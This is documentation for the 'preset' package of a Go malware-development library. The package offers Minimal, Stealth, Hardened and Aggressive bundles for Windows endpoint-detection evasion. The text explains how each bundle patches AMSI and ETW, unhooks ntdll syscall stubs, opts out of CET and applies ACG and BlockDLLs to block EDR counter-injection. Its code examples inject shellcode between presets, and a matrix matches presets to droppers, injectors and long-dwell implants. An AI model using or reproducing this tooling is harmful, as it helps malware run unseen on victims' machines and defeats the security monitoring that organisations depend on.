Preset — Ready-to-Use Evasion Combinations
Package: evasion/preset
Platform: Windows only
Detection: Varies by preset (Low for Minimal, Medium for Stealth, High for Aggressive)
Preset bundles the most common evasion techniques into three opinionated
configurations keyed on risk tolerance. Each preset returns
[]evasion.Technique for use with evasion.ApplyAll().
Primer
Evasion rarely works in isolation — AMSI alone misses ETW, ETW alone misses userland hooks. Presets are pre-composed bundles (Minimal, Stealth, Aggressive) that apply a coherent set of techniques in one call. Pick one, ship it, don't micromanage the pieces.
How It Works
A preset is just a function returning []evasion.Technique. evasion.ApplyAll iterates the slice and invokes each technique's Apply() in order, collecting per-technique failures into a map. Nothing magic: the value is curation, not new code.
flowchart LR
A[preset.Stealth] --> B["[]evasion.Technique<br>amsi + etw + 10x unhook"]
B --> C["evasion.ApplyAll(slice, caller)"]
C --> D{"each .Apply()"}
D --> E[AMSI patched]
D --> F[ETW silenced]
D --> G[ntdll prologues restored]
D --> H["errors map[name]error"]
preset.Minimal()— AMSI + ETW only. No disk reads, no mitigation policies.preset.Stealth()— Minimal + classic unhook of the 10 functions inunhook.CommonHookedFunctions.preset.Hardened()— full AMSI + full ETW + full ntdll unhook + CET opt-out. CET-aware sweet spot: APC-delivered shellcode survives Win11 24H2+ ENDBR64 enforcement without losing the ability to inject afterwards.preset.Aggressive()— Hardened + ACG + BlockDLLs. Irreversible.
preset.CETOptOut() — standalone Technique callers can pull into a custom stack. No-op when CET is not enforced.
Order matters for Aggressive — ACG and BlockDLLs permanently restrict the process, so all RWX allocation and injection must be done before applying it.
Minimal
Risk: Low
Use case: Droppers, stagers, initial-access payloads where staying off
radar matters more than bypassing advanced EDR hooks.
Included techniques
| Technique | Package | What it does |
|---|---|---|
amsi.ScanBufferPatch() | evasion/amsi | Overwrites AmsiScanBuffer entry with xor eax,eax; ret — all AMSI scans return clean |
etw.All() | evasion/etw | Patches all EtwEventWrite* functions and NtTraceEvent with xor rax,rax; ret — ETW events are silently dropped |
Rationale
AMSI and ETW are the two highest-signal telemetry paths for script/reflective loaders. Patching only these two functions has the smallest footprint: no disk reads of ntdll, no process spawning, no mitigation policy changes. The patch surface is three small memory writes. Suitable whenever the primary concern is bypassing in-memory script scanning rather than defeating userland hooks on injection primitives.
Stealth
Risk: Medium
Use case: Post-exploitation tooling, injectors, and loaders that need to
perform process injection without inline hook interference from EDR agents.
Included techniques
Stealth is a superset of Minimal — all Minimal techniques apply, plus:
| Technique | Package | What it does |
|---|---|---|
amsi.ScanBufferPatch() | evasion/amsi | (from Minimal) AMSI bypass |
etw.All() | evasion/etw | (from Minimal) ETW silence |
unhook.Classic("NtAllocateVirtualMemory") | evasion/unhook | Restores first 5 bytes of syscall stub from on-disk ntdll |
unhook.Classic("NtWriteVirtualMemory") | evasion/unhook | Same for write primitive |
unhook.Classic("NtProtectVirtualMemory") | evasion/unhook | Same for protect primitive |
unhook.Classic("NtCreateThreadEx") | evasion/unhook | Same for thread creation |
unhook.Classic("NtMapViewOfSection") | evasion/unhook | Same for section mapping |
unhook.Classic("NtQueueApcThread") | evasion/unhook | Same for APC-based injection |
unhook.Classic("NtSetContextThread") | evasion/unhook | Same for thread hijacking |
unhook.Classic("NtResumeThread") | evasion/unhook | Same for thread resume |
unhook.Classic("NtCreateSection") | evasion/unhook | Same for section creation |
unhook.Classic("NtOpenProcess") | evasion/unhook | Same for process opening |
All 10 functions come from unhook.CommonHookedFunctions via unhook.CommonClassic().
Rationale
EDR/AV products hook the 10 functions in CommonHookedFunctions because they
are the core primitives for process injection and shellcode execution. Classic
unhooking reads the original prologue bytes from the clean on-disk ntdll.dll
and writes them back — no process spawning, just targeted 5-byte patches.
This is surgical: only restore what is likely hooked, minimise the number of
memory writes, and avoid the large-region writes of FullUnhook that are
easier to detect via integrity checks. The combination of AMSI+ETW silence
plus unhooking gives adequate coverage for most injection scenarios without
the irreversible side effects of Aggressive.
Aggressive
Risk: High
Use case: Red team finals, assumed-breach scenarios, long-dwell implants
where maximum evasion is worth trading away compatibility and reversibility.
CRITICAL: ACG is irreversible.
acg.Guard()callsSetProcessMitigationPolicy(ProhibitDynamicCode=1). After this call,VirtualAlloc(PAGE_EXECUTE_*)and related calls fail for the remainder of the process lifetime. You MUST complete all shellcode injection and RWX memory allocation BEFORE callingpreset.Aggressive(). Applying it beforehand will break your own injection code.
Included techniques
| Technique | Package | What it does |
|---|---|---|
amsi.All() | evasion/amsi | Patches both AmsiScanBuffer and AmsiOpenSession — full AMSI neutralisation |
etw.All() | evasion/etw | Patches all EtwEventWrite* and NtTraceEvent |
unhook.Full() | evasion/unhook | Replaces the entire ntdll .text section from the on-disk copy — removes every inline hook in one operation |
acg.Guard() | evasion/acg | Enables Arbitrary Code Guard — blocks EDR from injecting executable code into this process (irreversible) |
blockdlls.MicrosoftOnly() | evasion/blockdlls | Blocks loading of non-Microsoft-signed DLLs — prevents EDR agent DLLs from being injected (irreversible) |
Rationale
Aggressive trades reversibility for depth. amsi.All() patches both AMSI
entry points rather than just ScanBuffer, closing the bypass gap around
session-level checks. unhook.Full() replaces the entire .text section
rather than patching individual functions — guaranteed to remove every hook,
at the cost of a larger and more conspicuous memory write. ACG and BlockDLLs
are process mitigation policies that harden the process against EDR
counter-injection; because they are kernel-enforced and irreversible, they
provide the strongest possible protection but must be the last step. This
combination is appropriate when the mission is high-value and the dwell time
is long enough that EDR will attempt active response.
Usage Examples
Basic usage
import (
"log"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
)
func main() {
// Apply Stealth preset (returns nil map on full success)
errs := evasion.ApplyAll(preset.Stealth(), nil)
for name, err := range errs {
log.Printf("evasion technique %s failed: %v", name, err)
}
}
Hardened — Win11 24H2+ with CET shadow stacks
Sweet spot when the host enforces CET: AMSI + ETW + full ntdll unhook + CET opt-out, no irreversible per-process mitigations (ACG, BlockDLLs) so the implant can still inject after the preset runs.
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
caller := wsyscall.New(wsyscall.MethodIndirectAsm, wsyscall.NewHashGate())
defer caller.Close()
errs := evasion.ApplyAll(preset.Hardened(), caller)
_ = errs
}
CETOptOut standalone — pluck the technique into a custom stack
stack := []evasion.Technique{
amsi.ScanBufferPatch(),
etw.All(),
preset.CETOptOut(), // no-op when cet.Enforced() == false
sleepmask.NewLocalForCurrentImage(),
}
_ = evasion.ApplyAll(stack, caller)
With indirect syscalls (Caller)
import (
"log"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
errs := evasion.ApplyAll(preset.Stealth(), caller)
for name, e := range errs {
log.Printf("%s: %v", name, e)
}
}
Aggressive preset — inject first, harden after
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
func run(shellcode []byte) error {
// Step 1: apply Stealth first so injection primitives are unhooked
evasion.ApplyAll(preset.Stealth(), nil)
// Step 2: do all injection / RWX allocation here
if err := inject.ThreadPoolExec(shellcode); err != nil {
return err
}
// Step 3: NOW apply Aggressive — ACG and BlockDLLs lock down the process
// No further RWX allocation is possible after this point
evasion.ApplyAll(preset.Aggressive(), nil)
return nil
}
Custom combination
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/evasion/etw"
"github.com/oioio-space/maldev/evasion/unhook"
)
// Custom: AMSI + ETW + only the functions we actually call
techniques := []evasion.Technique{
amsi.ScanBufferPatch(),
etw.All(),
unhook.Classic("NtAllocateVirtualMemory"),
unhook.Classic("NtCreateThreadEx"),
}
evasion.ApplyAll(techniques, nil)
Decision Matrix
| Scenario | Preset | Rationale |
|---|---|---|
| Script dropper, no injection | Minimal | AMSI+ETW is all that matters for script scanning |
| Reflective loader executing shellcode | Stealth | Needs unhooked NtAllocateVirtualMemory + NtCreateThreadEx |
| Process injection via APC | Stealth | Needs NtQueueApcThread unhooked |
| Thread hijacking | Stealth | Needs NtSetContextThread + NtResumeThread unhooked |
| Long-dwell implant, post-injection | Aggressive | ACG+BlockDLLs harden against EDR counter-injection |
| Red team final objective, assumed-breach | Aggressive | Maximum evasion depth warranted |
| EDR with heavy hook coverage suspected | Aggressive (Full unhook) | Full .text replacement vs. targeted 5-byte patches |
| Constrained environment, compatibility required | Minimal | No disk reads, no irreversible changes |
| Custom: known hook set | Manual composition | Build from individual techniques for minimal footprint |
Combined Example
Apply preset.Stealth() to unhook injection primitives, detonate a
shellcode payload, then lock the process down with preset.Aggressive()
so an EDR agent cannot counter-inject a monitoring DLL afterwards.
package main
import (
"log"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func run(shellcode []byte) error {
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewTartarus())
defer caller.Close()
// 1. Stealth first — AMSI/ETW silenced + Nt* prologues restored.
// The unhook pass uses indirect syscalls via `caller`, so the
// restore itself does not touch hooked NtProtectVirtualMemory.
if errs := evasion.ApplyAll(preset.Stealth(), caller); len(errs) > 0 {
for name, err := range errs {
log.Printf("stealth: %s: %v", name, err)
}
}
// 2. Inject while RWX allocation is still legal.
if err := inject.ThreadPoolExec(shellcode); err != nil {
return err
}
// 3. Aggressive last — ACG + BlockDLLs lock the process.
// No further VirtualAlloc(PAGE_EXECUTE_*) possible after this.
evasion.ApplyAll(preset.Aggressive(), caller)
return nil
}
Layered benefit: Stealth removes the EDR's ability to observe the injection (hooks gone, AMSI silent, ETW off), and Aggressive removes its ability to react afterwards (ACG blocks code injection, BlockDLLs blocks its module load) — the two presets cover detection and remediation without overlapping.
API Reference
See the package godoc for the
canonical Apply(c Caller) error / ApplyAll(c Caller) map[string]error
surface. Each preset (Minimal, Stealth, Aggressive)
returns a []evasion.Technique ready to plug into
evasion.ApplyAll.
See also
- Evasion area README
evasionumbrella — theTechniqueinterface every preset bundleswin/syscall— supplies the*Callerevery preset Technique consumes